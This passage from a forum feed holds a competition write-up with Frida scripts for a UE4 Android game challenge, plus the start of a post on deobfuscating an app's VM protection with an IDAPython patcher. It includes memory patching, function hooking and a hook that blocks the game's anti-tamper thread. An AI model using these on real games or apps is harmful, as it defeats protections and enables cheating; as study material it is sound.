1 2 3 4 5 6 7 8 9 10 11 12 13 14 | let ThirdPersonCharacter_Mesh = ThirdPersonCharacter_obj.add(Offset.ACharacterToUSkeletalMeshComponent).readPointer(); let GetNumMaterials = new NativeFunction(ThirdPersonCharacter_Mesh.readPointer().add(0x6e8).readPointer(), \\"int\\" , [ \\"pointer\\" ]); let GetMaterial = new NativeFunction(ThirdPersonCharacter_Mesh.readPointer().add(0x590).readPointer(), \\"pointer\\" , [ \\"pointer\\" , \\"int\\" ]); let NumMaterials = GetNumMaterials(ThirdPersonCharacter_Mesh) console. log ( \\"NumMaterials: \\" , NumMaterials); for (let i = 0; i < NumMaterials; i++) { let material = GetMaterial(ThirdPersonCharacter_Mesh, i) console. log (`material[${i}]: `, material, getName64(material.add(Offset.UObjectToFNameIndex).readU32())) let bDisableDepthTest = material.add(0x1f8); bDisableDepthTest.writeU8(bDisableDepthTest.readU8() & (~1)); console. log ( \\"bDisableDepthTest: \\" , bDisableDepthTest.readU8() & 1) } |
嘗試三:利用SetTexture
隨便設置一個Texture。( 沒效果 )
1 2 3 4 5 6 7 8 9 10 11 12 | let ThirdPersonCharacter_Mesh = ThirdPersonCharacter_obj.add(Offset.ACharacterToUSkeletalMeshComponent).readPointer(); /* API */ // void SetTexture(Texture* InTexture);// 0x95efb5c let SetTexture = new NativeFunction(base.add(0x8B2C4CC), \\"void\\" , [ \\"pointer\\" , \\"pointer\\" ]); // Texture* GetTexture();// 0x95efa98 let GetTexture = new NativeFunction(ThirdPersonCharacter_Mesh.readPointer().add(0x1F8).readPointer(), \\"pointer\\" , [ \\"pointer\\" ]); /* Prop */ let ThirdPersonCharacter_Mesh = ThirdPersonCharacter_Mesh.add(Offset.USkeletalMeshComponentToSkeletalMesh).readPointer(); SetTexture(ThirdPersonCharacter_Mesh, All_Objects[ \\"T_ML_Rubber_Blue_01_N\\" ]); |
以下部份是賽後的分析。
\\n找資料時發現類似這遊戲的人物透視效果基本上有以下兩種實現思路:
\\n\\n但嘗試後發現遊戲似乎不是用上述方法實現透視效果的( 不太確定,也有可能是我修改的地方不對 )?
\\n找了很久都沒有什麼思路,最終只好退而求其次,用一種「掩耳盜鈴」的方式來修復,具體思路如下:
\\nKismetSystemLibrary
的靜態函數LineTraceSingle
來獲取FirstPersonCharacter_C
和ThirdPersonCharacter_C
之間的HitResult
。HitResult
,會發現ThirdPersonCharacter_C
沒有被遮擋時HitResult.Distance
為0
,否則為二者之間的距離。HitResult.Distance
是否為0
來設置ThirdPersonCharacter_C
是否渲染到MainPass。具體調用LineTraceSingle
、獲取HitResult.Distance
的代碼如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | function getFirstPersonThirdPersonDistance() { // static bool LineTraceSingle(const Object* WorldContextObject, const Vector Start, const Vector End, byte TraceChannel, bool bTraceComplex, out const Actor*[] ActorsToIgnore, byte DrawDebugType, out HitResult OutHit, bool bIgnoreSelf, LinearColor TraceColor, LinearColor TraceHitColor, float DrawTime);// 0x9471770 let LineTraceSingle = new NativeFunction(base.add(0x8D1AA78), \\"bool\\" , [ \\"pointer\\" , \\"float\\" , \\"float\\" , \\"float\\" , \\"float\\" , \\"float\\" , \\"float\\" , \\"uint8\\" , \\"bool\\" , \\"pointer\\" , \\"uint8\\" , \\"pointer\\" , \\"bool\\" , \\"float\\" , \\"float\\" , \\"float\\" , \\"float\\" , \\"float\\" , \\"float\\" , \\"float\\" , \\"float\\" , \\"float\\" ]); let buf1 = Memory.alloc(0x1000); let HitResult = Memory.alloc(0x1000); let start_loc = getActorLocation(FirstPersonCharacter_C_obj); let end_loc = getActorLocation(ThirdPersonCharacter_obj); let r = LineTraceSingle(FirstPersonCharacter_C_obj, start_loc[0], start_loc[1], start_loc[2], end_loc[0], end_loc[1], end_loc[2], 0, 0, buf1, 1, HitResult, 0, 255, 0, 0, 0, 0, 255, 0, 0, 10000); let HitResult_Distance = HitResult.add(0x8).readFloat(); return HitResult_Distance; } |
時機選擇在Actor
類的ReceiveTick
函數,在其中判斷是否渲染:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | function bypassWallhack() { let SetRenderInMainPass = new NativeFunction(base.add(0x8AB9E58), \\"void\\" , [ \\"pointer\\" , \\"bool\\" ]); let ThirdPersonCharacter_Mesh = ThirdPersonCharacter_obj.add(Offset.ACharacterToUSkeletalMeshComponent).readPointer(); // void ReceiveTick(float DeltaSeconds);// 0x6c50500 Interceptor.attach(base.add(0x6c50500), { onEnter: function(args) { if (getFirstPersonThirdPersonDistance() == 0) { console. log ( \\"can see ThirdPerson\\" ) SetRenderInMainPass(ThirdPersonCharacter_Mesh, 1); } else { console. log ( \\"can not see ThirdPerson\\" ) SetRenderInMainPass(ThirdPersonCharacter_Mesh, 0); } } }) } |
當然這肯定不是正解,而且效果也非常一般,之後看看有沒有其他大佬分析下正解吧。
\\n子彈射在白色的Cube上不會反彈。
\\n白色的Cube應是就是EditorCubeN
。
1 2 3 4 5 6 7 8 9 10 11 | [0x3c3e]: Name: EditorCube8 Class: StaticMeshActor ObjectPtr: 0x7170c09f40 ClassPtr: 0x717e7c0100 [0x3c26]: Name: EditorCube10 Class: StaticMeshActor ObjectPtr: 0x7170c0ba40 ClassPtr: 0x717e7c0100 |
子彈射在EditorCubeN
上會瞬間消失,但EditorCubeN
是有被擊退的效果,而子彈射在黑色的Cube上能正常被反彈。
嘗試一:看看是否因為物理模擬未啟用。( 沒效果 )
\\n1 2 3 4 5 6 7 | let StaticMeshComponent = All_Objects[ \\"EditorCube8\\" ].add(0x220).readPointer(); let SetSimulatePhysics = new NativeFunction(StaticMeshComponent.readPointer().add(0x5D0).readPointer(), \\"void\\" , [ \\"pointer\\" , \\"bool\\" ]); let SetNotifyRigidBodyCollision = new NativeFunction(StaticMeshComponent.readPointer().add(0x658).readPointer(), \\"void\\" , [ \\"pointer\\" , \\"bool\\" ]); SetSimulatePhysics(StaticMeshComponent, 1); SetNotifyRigidBodyCollision(StaticMeshComponent, 1) |
嘗試二:設置物理材質的反彈系數為1。( 沒效果 )
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | let StaticMeshComponent = All_Objects[ \\"EditorCube8\\" ].add(0x220).readPointer(); /* API */ let GetPhysicalMaterial = new NativeFunction(StaticMeshComponent.readPointer().add(0x2D0).readPointer(), \\"pointer\\" , [ \\"pointer\\" ]); let GetNumMaterials = new NativeFunction(StaticMeshComponent.readPointer().add(0x6e8).readPointer(), \\"int\\" , [ \\"pointer\\" ]); let GetMaterial = new NativeFunction(StaticMeshComponent.readPointer().add(0x590).readPointer(), \\"pointer\\" , [ \\"pointer\\" , \\"int\\" ]); /* Prop */ let NumMaterials = GetNumMaterials(StaticMeshComponent) console. log ( \\"NumMaterials: \\" , NumMaterials); for (let i = 0; i < NumMaterials; i++) { let material = GetMaterial(StaticMeshComponent, i) let PhysicalMaterial = GetPhysicalMaterial(material); let Restitution = PhysicalMaterial.add(0x34); Restitution.writeFloat(1) } |
嘗試三:設置與所有物體的碰撞響應都為Block( 具體值是2 )。( 沒效果 )
\\n1 2 3 4 5 | let StaticMeshComponent = All_Objects[ \\"EditorCube8\\" ].add(0x220).readPointer(); let SetCollisionResponseToAllChannels = new NativeFunction(StaticMeshComponent.readPointer().add(0x850).readPointer(), \\"void\\" , [ \\"pointer\\" , \\"uint8\\" ]); SetCollisionResponseToAllChannels(StaticMeshComponent, 2); // 設置為0,1,3後, Cube會掉到地底 |
經過上述嘗試,可知子彈消失大概率與Collision無關。
\\n猜測子彈是在擊中EditorCubeN
時執行了一段Destroy邏輯。
hook MyProjectProjectile
的OnHit
,打印調用棧:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | [onHit] enter: 6f70d20aac is in libUE4.so offset: 0x6713aac 6f71110b7c is in libUE4.so offset: 0x6b03b7c 6f7125e9ac is in libUE4.so offset: 0x6c519ac 6f7125e7d0 is in libUE4.so offset: 0x6c517d0 6f70139f24 is in libUE4.so offset: 0x5b2cf24 // 1 6f72eb6a8c is in libUE4.so offset: 0x88a9a8c // 1 6f7356ff04 is in libUE4.so offset: 0x8f62f04 // 0 6f72eb6bc4 is in libUE4.so offset: 0x88a9bc4 6f730c087c is in libUE4.so offset: 0x8ab387c 6f738ee130 is in libUE4.so offset: 0x92e1130 6f71110b7c is in libUE4.so offset: 0x6b03b7c 6f73907350 is in libUE4.so offset: 0x92fa350 6f71110b7c is in libUE4.so offset: 0x6b03b7c 6f71262774 is in libUE4.so offset: 0x6c55774 6f712629f0 is in libUE4.so offset: 0x6c559f0 6f7125d7ec is in libUE4.so offset: 0x6c507ec [onHit] leave: this .HitComp 0x6f74e76428 |
Destroy邏輯可能就在其中,但沒時間看了。。
\\n以下部份是賽後的分析。
\\nOnHit
最後調會return sub_88A8D2C((__int64)v4, 0, 1)
,而sub_88A8D2C
函數如下。
about_ActorDestroying
中有\\"ActorDestroying\\"
字符串,猜測會不會就是那段Destroy邏輯。
嘗試直接patch掉該函數,使其固定返回1
。
1 2 3 4 | Interceptor.replace(base.add(0x88A8D2C), new NativeCallback(() => { console. log ( \\"call 88A8D2C\\" ); return 1; }, \\"int\\" , [])); |
結果是射到EditorCubeN
時也會正常反彈,成功修復該異常點。
在測試過程中還發現以下一些不確定算不算異常點的:
\\nfrida -U -f com.ACE2025.Game -l final.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 | let GWorld = null; let GName = null; let GObject = null; let Offset = { //Class: UWorld UWorldToPersistentLevel: 0x58, // Class: ULevel ULevelToActors: 0xa0, // Class: FNamePool GNamesToFNamePool: 0x38, FNamePoolToCurrentBlock: 0x0, //Class: UObject UObjectToClassPrivate: 0x10, UObjectToFNameIndex: 0x18, UObjectToOuterPrivate: 0x20, //Class: FUObjectArray FUObjectArrayToTUObjectArray: 0x10, //Class: TUObjectArray TUObjectArrayToNumElements: 0x14, // Global FUObjectItemPadd: 0x0, FUObjectItemSize: 0x18, // Class: AActor AActorToRootComponent: 0x130, // Class: USceneComponent USceneComponentToRelativeLocation: 0x11c, // Class: ACharacter ACharacterToUSkeletalMeshComponent: 0x280, // Class: USkeletalMeshComponent USkeletalMeshComponentToSkeletalMesh: 0x478, USkeletalMeshComponentToUMaterialInterface: 0x448, // class: USkeletalMesh USkeletalMeshToFSkeletalMaterial: 0xd8 } function startUE4(base) { console. log ( \\"UE4.base: \\" , base); /* Utils area */ // 設置三件套 function setupUE4() { GWorld = base.add(0xAFAC398).readPointer(); GName = base.add(0xADF07C0); GObject = base.add(0xAE34A98); } function getName64(idx) { var ComparisonIndex = idx; var FNameEntryAllocator = GName.add(0x38); // 64位的FNameEntryAllocator偏移為0x38 var FNameBlockOffsetBits = 16 var FNameBlockOffsets = 65536 var Block = ComparisonIndex >> FNameBlockOffsetBits var Offset = ComparisonIndex & (FNameBlockOffsets - 1) var Blocks_Offset = 0x8 var Blocks = FNameEntryAllocator.add(Blocks_Offset) var FNameEntry = Blocks.add(Block * Process.pointerSize).readPointer().add(Offset * 2) var FNameEntryHeader = FNameEntry.readU16() // console.log(\\"FNameEntry: \\", hexdump(FNameEntry)); var isWide = FNameEntryHeader & 1 var Len = FNameEntryHeader >> 6 // if (0 == isWide) { // console.log(`\\\\x1b[32m[+] ${FNameEntry.add(2).readCString(Len)}\\\\x1b[0m`) // } return FNameEntry.add(2).readCString(Len); } let ThirdPersonCharacter_obj = null; let FirstPersonCharacter_C_obj = null; let All_Objects = {} // 遍歷UObjectArray function travUObjectArray() { let TUObjectArray = GObject.add(Offset.FUObjectArrayToTUObjectArray); let Objects = TUObjectArray.readPointer().readPointer(); for (let i = 0;; i++) { try { let objectItem = Objects.add(i * Offset.FUObjectItemSize).add(Offset.FUObjectItemPadd); let obj = objectItem.readPointer(); let objNameIdx = obj.add(Offset.UObjectToFNameIndex).readU32(); let objName = getName64(objNameIdx); All_Objects[objName] = obj; if (objName == \\"ThirdPersonCharacter\\" ) { ThirdPersonCharacter_obj = obj; // console.log(\\"ThirdPersonCharacter_obj: \\", ptr(obj)); } if (objName == \\"FirstPersonCharacter_C\\" ) { FirstPersonCharacter_C_obj = obj; // console.log(\\"FirstPersonCharacter_C_obj: \\", ptr(obj)); } } catch (error) { console. log (error); break } } } function getActorLocation(actor) { let RootComponent = ptr(actor).add(Offset.AActorToRootComponent).readPointer(); let RelativeLocation = RootComponent.add(Offset.USceneComponentToRelativeLocation); let x = RelativeLocation.add(0 * 4).readFloat() let y = RelativeLocation.add(1 * 4).readFloat() let z = RelativeLocation.add(2 * 4).readFloat() return [x, y, z] } function getFirstPersonThirdPersonDistance() { // static bool LineTraceSingle(const Object* WorldContextObject, const Vector Start, const Vector End, byte TraceChannel, bool bTraceComplex, out const Actor*[] ActorsToIgnore, byte DrawDebugType, out HitResult OutHit, bool bIgnoreSelf, LinearColor TraceColor, LinearColor TraceHitColor, float DrawTime);// 0x9471770 let LineTraceSingle = new NativeFunction(base.add(0x8D1AA78), \\"bool\\" , [ \\"pointer\\" , \\"float\\" , \\"float\\" , \\"float\\" , \\"float\\" , \\"float\\" , \\"float\\" , \\"uint8\\" , \\"bool\\" , \\"pointer\\" , \\"uint8\\" , \\"pointer\\" , \\"bool\\" , \\"float\\" , \\"float\\" , \\"float\\" , \\"float\\" , \\"float\\" , \\"float\\" , \\"float\\" , \\"float\\" , \\"float\\" ]); let buf1 = Memory.alloc(0x1000); let HitResult = Memory.alloc(0x1000); let start_loc = getActorLocation(FirstPersonCharacter_C_obj); let end_loc = getActorLocation(ThirdPersonCharacter_obj); let r = LineTraceSingle(FirstPersonCharacter_C_obj, start_loc[0], start_loc[1], start_loc[2], end_loc[0], end_loc[1], end_loc[2], 0, 0, buf1, 1, HitResult, 0, 255, 0, 0, 0, 0, 255, 0, 0, 10000); let HitResult_Distance = HitResult.add(0x8).readFloat(); return HitResult_Distance; } function hook_utf16_cmp() { Interceptor.attach(base.add(0x680B790), { onEnter: function(args) { this .a1 = args[1]; // console.log(\\"a0: \\", args[0].readUtf16String()); // console.log(\\"a1: \\", args[1].readUtf16String()); }, onLeave: function(retval) { if ( this .a1.readUtf16String() == \\"EditorCube8\\" ) { retval.replace(5); } // console.log(\\"res: \\", retval); } }) } function hook_process_before_shoot() { Interceptor.attach(base.add(0x670F110), { onEnter: function(args) { let val = args[0].add(0x528).readU8(); args[0].add(0x528).writeU8(val | 1); console. log ( \\"[process_before_shoot] a1[0x14A] & 1: \\" , args[0].add(0x528).readU8() & 1) }, onLeave: function(retval) { } }) } function fix_MuzzleLocation() { Interceptor.attach(base.add(0x670F110), { onEnter: function(args) { console. log ( \\"[process_before_shoot]\\" ); /* API */ // void K2_SetRelativeRotation(Rotator NewRotation, bool bSweep, out HitResult SweepHitResult, bool bTeleport);// 0x9597380 let K2_SetRelativeRotation = new NativeFunction(base.add(0x8AE6F00), \\"void\\" , [ \\"pointer\\" , \\"float\\" , \\"float\\" , \\"float\\" , \\"bool\\" , \\"pointer\\" , \\"bool\\" ]); K2_SetRelativeRotation(All_Objects[ \\"MuzzleLocation\\" ], 0, 90, 0, 0, ptr(0), 0); /* Prop */ let RelativeLocation = All_Objects[ \\"MuzzleLocation\\" ].add(0x11c); let RelativeRotation = All_Objects[ \\"MuzzleLocation\\" ].add(0x128); // console.log(\\"location: \\", JSON.stringify(readVector(RelativeLocation))) // console.log(\\"rotation: \\", JSON.stringify(readVector(RelativeRotation))) // Replace let MuzzleLocation = args[0].add(0x4D8) MuzzleLocation.writePointer(All_Objects[ \\"MuzzleLocation\\" ]) }, onLeave: function(retval) { } }) } function fix_EditorCubeN_bullet_problem() { Interceptor.replace(base.add(0x88A8D2C), new NativeCallback(() => { return 1; }, \\"int\\" , [])); } function bypassWallhack() { let SetRenderInMainPass = new NativeFunction(base.add(0x8AB9E58), \\"void\\" , [ \\"pointer\\" , \\"bool\\" ]); let ThirdPersonCharacter_Mesh = ThirdPersonCharacter_obj.add(Offset.ACharacterToUSkeletalMeshComponent).readPointer(); Interceptor.attach(base.add(0x6c50500), { onEnter: function(args) { if (getFirstPersonThirdPersonDistance() == 0) { console. log ( \\"can see ThirdPerson\\" ) SetRenderInMainPass(ThirdPersonCharacter_Mesh, 1); } else { console. log ( \\"can not see ThirdPerson\\" ) SetRenderInMainPass(ThirdPersonCharacter_Mesh, 0); } } }) } /* call area */ setupUE4(); travUObjectArray(); hook_utf16_cmp(); // bypass: aimbot hook_process_before_shoot(); // bypass: rand bullet shoot location (fixed ) fix_EditorCubeN_bullet_problem(); // bypass: EditorCubeN problem fix_MuzzleLocation(); // bypass: fix and replace the right MuzzleLocation bypassWallhack(); // bypass: fix wallhack in a different way } function hook_pthread() { var pthread_create_addr = Module.findExportByName(null, \'pthread_create\' ); console. log ( \\"pthread_create_addr,\\" , pthread_create_addr); var pthread_create = new NativeFunction(pthread_create_addr, \\"int\\" , [ \\"pointer\\" , \\"pointer\\" , \\"pointer\\" , \\"pointer\\" ]); Interceptor.replace(pthread_create_addr, new NativeCallback(function (parg0, parg1, parg2, parg3) { var so_name = Process.findModuleByAddress(parg2).name; var so_path = Process.findModuleByAddress(parg2).path; var so_base = Module.getBaseAddress(so_name); var offset = parg2 - so_base; // console.log(\\"so_name\\", so_name, \\"offset\\", offset, \\"path\\", so_path, \\"parg2\\", parg2); var PC = 0; if ((so_name.indexOf( \\"libGame.so\\" ) > -1)) { console. log ( \\"find thread func offset\\" , so_name, offset); if ((7068 === offset)) { console. log ( \\"anti bypass\\" ); } else { PC = pthread_create(parg0, parg1, parg2, parg3); console. log ( \\"ordinary sequence\\" , PC) } } else { PC = pthread_create(parg0, parg1, parg2, parg3); // console.log(\\"ordinary sequence\\", PC) } return PC; }, \\"int\\" , [ \\"pointer\\" , \\"pointer\\" , \\"pointer\\" , \\"pointer\\" ])) } function main() { hook_pthread(); setTimeout(() => { startUE4(Module.findBaseAddress( \\"libUE4.so\\" )); }, 3500); } setImmediate(main) |
今年跟上年一樣是UE4的題型,猜到了會出UE4,賽前本想找些遊戲來練練手,但一直沒找到合適的,只能說可惜了。這也導致了比賽前2天基本都在熟悉UE4,直到最後也沒有完整地修復幾個異常點。
\\n本以為決賽無望的,沒想到運氣挺好居然進了,算是圓了上一年的遺憾吧。
\\n[招生]科锐逆向工程师培训(2025年3月11日实地,远程教学同时开班, 第52期)!
\\n\\n\\n\\n\\n\\n\\n\\n","description":"前言 第一次聽說這比賽是上年偶然和舍友聊天時他告訴我的,沒想到還有以遊戲安全為主的比賽,當時看到有安卓的賽道就報名了,然後比賽時就被那門卡了2天,然後就沒有然後了。\\n\\n今年沒意外的話是我大學生涯的最後一年,也許也是最後一年打這個比賽了吧,下年也不知道有沒有空看看題。\\n\\n以下是我的解題記錄,一部份是比賽時寫的,一部份是賽後補充的,有寫錯的還請指正。\\n\\n前置準備\\n\\n版本:4.27\\n\\nGName:0xADF07C0\\n\\nGObject:0xAE34A98\\n\\ndump sdk by GObject,記為SDKO.txt\\n\\n1\\n\\t\\n./ue4dumper64 --sdku…","guid":"https://bbs.kanxue.com/thread-286463.htm","author":null,"authorUrl":null,"authorAvatar":null,"publishedAt":"2025-04-14T02:32:05.819Z","media":[{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_737SG8KAZUZHF3G.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_4M4SWDWQTMEARPY.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_ZXMY9Q75KX4Q5JG.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_MN5YNQWV3R8TB5F.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_664Z2QVA2UKQH3N.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_D4DXDUXZMTVJB5T.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_CWBQCG8WUFT3WFW.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_4ZF8V6JNNXP3UCZ.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_EFFZPSFCNTM3AD5.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_ZWCYTT6SSFBYA4S.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_9M57XT599ZVRHCZ.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_QAVUDNUBFJ8VMUJ.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_U8ZX6EGPP59J28Y.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_3FNGB58QUVYFXKT.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_QKC46Y96TJTK4UD.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_TZKB8A2X4CM8G4U.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_DEAD7SDSRNAVGUK.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_A4TWHPSPWXHAJEZ.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_V6S6T8Z3PY9U7U6.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_59CA8XKVUNQ2VZY.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_QCYUM3BQ24HZGYT.webp","type":"photo","width":0,"height":0,"blurhash":""}],"categories":null,"attachments":null,"extra":null,"language":null},{"title":"[原创]用魔法打败魔法:互联网大厂虚拟机还原","url":"https://bbs.kanxue.com/thread-286441.htm","content":"\\n\\n有人就要问了,怎么又是虚拟机的文章,我觉得其他领域基本上都有人分析过了再次写重复的文章意义不大,虚拟机保护分析的门槛较高且文章明显偏少于是就选择了它。
\\n虚拟机保护到目前为依然是很多人迈不过去的一个坎,但对于现在逆向工程来说它不是唯一到达目的的捷径,很多时候可以跳过虚拟机的分析对目标app的指令和数据流回溯分析,例如最近流行的各种trace。另外即使能够分析和还原它虚拟机也只占用工程工作量中的少量时间,这个时间比例可能就5%-10%左右吧。
每个人的分析方法思路、使用的工具、对逆向工程的理解都有各不相同,文中只是将我个人的一些分析方法思路分享出来,可能方法不是最好的,或许在有些人眼中觉得你的方法太笨了,每个人都有技术盲点的地方,有交流才会有进步欢迎留言指正我的不足。
随着最近几年对抗的升级现阶段大厂基本上都是虚拟机了,分析的工作量明显上升,一个人对抗大厂多个团队已经显得力不从心,单兵作战早已经成为过去式。
\\n逆向工程从来就不是一个简单的事情,在逆向分析过程中很长时间就是精神上的折磨,时间久了会慢慢的适应这种精神折磨状态,逆向工程概括了方方面面的东西:经验、知识面、理解和认知、天赋,好像这些和我沾边的都不多,有时在逆向分析时会一根筋的钻进死胡同。
\\nApp版本
:versionCode=\'1200280405\' versionName=\'12.28.405\'
手机系统
:android 11/pixel 2 xl
PC
: macOS 15.3
以函数vm_interpreter为例,函数的开始和结束边界清晰,代码块没有穿插到其他函数或位置中,说明混淆或乱序只是在函数的开始和结束地址范围内进行。
\\n在分析时发现很代码块(指多连续的基本块)的终止符使用无条件跳转连接,通常正常编译生成无条件跳转可能出现在if then end、if else end、break、continue、switch case、switch case end、loop entry、loop、loop exit的位置比较多,正常的代码不会出现如此多的无条件跳转,这说明基本块从中间被分割后被随机打乱后使用无跳转条件跳转进行连接。
\\n看来app加密开发者还是很懂逆向的,一般来说handler执行完成会回到取指的基本块位置,这里将分发取指的基本块进行了复制作为handler的后续终止符进行连接,防止一个位置下断或hook拿取opcode数据。
但是也不排除是函数inline造成多个分发位置。
去掉间接跳转的目的是方便在IDA中查看分析代码的结构,读取跳转常量数组将真实的地址连接。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | import idautils import idc import idaapi from keystone import * # pip3 install keystone-engine def get_insn_const(addr): op_val = None if idc.print_insn_mnem(addr) in [ \'MOV\' , \'LDR\' ]: op_val = idc.get_operand_value(addr, 1 ) if op_val > 0x1000 : # 可能是间接引用 op_val = idc.get_wide_dword(op_val) else : raise Exception(f \\"error ops const: {addr}\\" ) return op_val def get_patch_data(addr): addr_list = [] for bl_insn_addr in idautils.XrefsTo(addr): bl_insn_addr = bl_insn_addr.frm # print(f\'L1 {hex(bl_insn_addr)}:\') for xref_addr_l2 in idautils.XrefsTo(bl_insn_addr): # print(f\'\\\\tL2 {hex(xref_addr_l2.frm)}:\') index = get_insn_const(xref_addr_l2.frm - 4 ) const_table_start = bl_insn_addr + 4 offset = idaapi.get_dword(const_table_start + index * 4 ) link_target = const_table_start + offset addr_list.append({ \\"bl_insn_addr\\" : bl_insn_addr, \\"patch_addr\\" : xref_addr_l2.frm, \\"index\\" : index, \\"offset\\" : offset, \\"link_target\\" : link_target}) return addr_list def print_patch_data(patch_data): for item in patch_data: print ( f \\"bl_insn_addr: {item[\\" bl_insn_addr \\"]:#x}, patch_addr: {item[\\" patch_addr \\"]:#x}, index: {item[\\" index \\"]}, offset: {item[\\" offset \\"]:#x}, link_target: {item[\\" link_target \\"]:#x}\\" ) def patch_insns(patch_data): index = 0 for item in patch_data: ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN) asm = f \'B {item[\\"link_target\\"]:#x}\' print (f \'patch addr {item[\\"patch_addr\\"]:#x}: {asm}\' ) encoding, count = ks.asm(asm, as_bytes = True , addr = item[ \\"patch_addr\\" ]) print (encoding) for i in range ( 4 ): idc.patch_byte(item[ \\"patch_addr\\" ] + i, encoding[i]) index + = 1 # if index == 1: # break def start(): modify_x30_func_address = 0x25D00 patch_data = get_patch_data(modify_x30_func_address) print_patch_data(patch_data) patch_insns(patch_data) start() |
载入IDA分析完成后打开函数视图,函数列表最上方找到Length表头点击按函数大小排序,找到第二大小的函数就来到了虚拟机解释器的位置。
\\n找到vm_entry起始地址0x1313F0,这时可以看到有31个引用地址这意味着有31个函数被虚拟化执行,找到2号引用地址,它是app启动后首次调用的虚拟机代码,从这里开始逐步展开分析。
双击2号交叉引用来到函数0x6884C,x0-x2对应函数原型的3个参数bytecode、bc_size、external,其他剩余的参数寄存器是变参部分:寄存器x3-x7、Q0-Q7、堆栈。
描述:准备参数和返回值对象bytecode
: 字节码指针bc_size
: 字节码大小external
: 外部指针数组,它可能包含外部函数地址和全局变量指针。
在函数的开始将所有可能是变参的寄存器入栈、分配返回值对象内存、将变参参数转成指针数组pVA、最后vm_ready调用结束后从返回值对象中取出返回值并赋值给真实寄存器x0。
描述:构建或准备bytecode对应的VMPState对象,bytecode映射一个VMPState。pRetVal
: 返回值regCount
: 虚拟寄存器数量pRegister
: 虚拟寄存器typeCount
: 类型表数据pTypeList
: 类型表insCount
: 虚拟机指令数量pInstructons
: 虚拟机指令pBranchs
: 分支表
\\n\\n解析器比较复杂,只介绍简单的handler分析过程,在分析时有五个非常重要的数据在需要时刻清楚放在什么位置:**虚拟机pc**、*指令对象*、上下文对象、类型表对象、分支表对象(遇到分支指令时关注),不然在分析时非常容易迷茫。
\\n
getVMPObject函数
\\n获取全局虚拟机缓存对象,返回值是一个std::list
\\ngetVMPState
\\n根据入参pBytecode尝试从缓存中查找应对的VMPState对象,如果VMPState没有被缓存则跳到start_build解析bytecode生成VMPState对象,相关分析参考bytecode首次解码,否则开始创建上下文对象。
\\n创建一个上下文对象
初始化寄存器
将所有寄存器填充为0
复制寄存器数据
\\n在首次解码构建时有一部分的寄存器会被赋上初值,寄存器中的初值是加密前原生汇编代码中的常量是不能被修改的,因此需要复制寄存器对象。
复制入参到虚拟机寄存器
\\n如果不存在参数则准备执行vm_interpreter,否则将传入的变参依次将参数复制到虚拟寄存器V0,V1,V2,...。
\\n\\n\\n数据结构VMPState对应着加密前的函数信息,其中包括参数数量、参数的类型和返回值
\\n
准备执行
